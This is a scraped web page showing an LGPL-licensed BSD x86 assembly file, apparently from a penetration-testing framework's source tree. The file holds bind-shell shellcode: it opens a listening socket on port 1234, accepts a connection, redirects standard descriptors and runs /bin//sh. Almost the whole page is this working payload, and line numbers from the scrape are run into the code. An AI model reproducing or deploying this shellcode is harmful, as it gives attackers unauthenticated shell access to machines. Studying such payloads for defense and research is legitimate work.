Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/unixasm/bsd-x86-bndsockcode.s
Views: 11766
/*1* bsd-x86-bndsockcode.s2* Copyright 2004 Ramon de Carvalho Valle <[email protected]>3*4* This library is free software; you can redistribute it and/or5* modify it under the terms of the GNU Lesser General Public6* License as published by the Free Software Foundation; either7* version 2.1 of the License, or (at your option) any later version.8*9* This library is distributed in the hope that it will be useful,10* but WITHOUT ANY WARRANTY; without even the implied warranty of11* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU12* Lesser General Public License for more details.13*14* You should have received a copy of the GNU Lesser General Public15* License along with this library; if not, write to the Free Software16* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA17*18*/1920.global _start2122_start:2324# 73 bytes2526bndsockcode:27xorl %eax,%eax28pushl %eax29pushl $0xd20402ff30movl %esp,%edi3132pushl %eax33pushl $0x0134pushl $0x0235pushl $0x1036movb $0x61,%al37int $0x803839pushl %edi40pushl %eax41pushl %eax42pushl $0x6843popl %eax44int $0x804546movl %eax,-0x14(%edi)47movb $0x6a,%al48int $0x804950movb $0x1e,%al51int $0x805253pushl %eax54pushl %eax55560:57pushl $0x5a58popl %eax59int $0x806061decl -0x1c(%edi)62jns 0b6364shellcode:65# xorl %eax,%eax66pushl %eax67pushl $0x68732f2f68pushl $0x6e69622f69movl %esp,%ebx70pushl %eax71pushl %esp72pushl %ebx73pushl %eax74movb $0x3b,%al75int $0x8076777879